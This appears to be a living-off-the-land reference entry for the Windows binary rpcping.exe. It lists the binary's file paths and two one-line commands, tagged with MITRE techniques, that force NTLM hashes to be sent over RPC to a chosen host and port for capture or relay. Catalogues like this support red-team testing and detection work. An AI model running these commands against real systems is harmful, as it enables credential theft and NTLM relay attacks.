Rpcping.exe

type: OSBinaries
Used to verify rpc connection

Full path

C:\Windows\System32\rpcping.exe
C:\Windows\SysWOW64\rpcping.exe

Commands

  1. CredentialsUser T1003

    Capture credentials on a non-standard port

    rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM

    Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  2. CredentialsUser T1187

    Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port

    rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM

    Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

Resources

acknowledgement: Casey Smith @subtee, Vincent Yiu @vysecurity, Antonio Cocomazzi @splinter_code, ap @decoder_it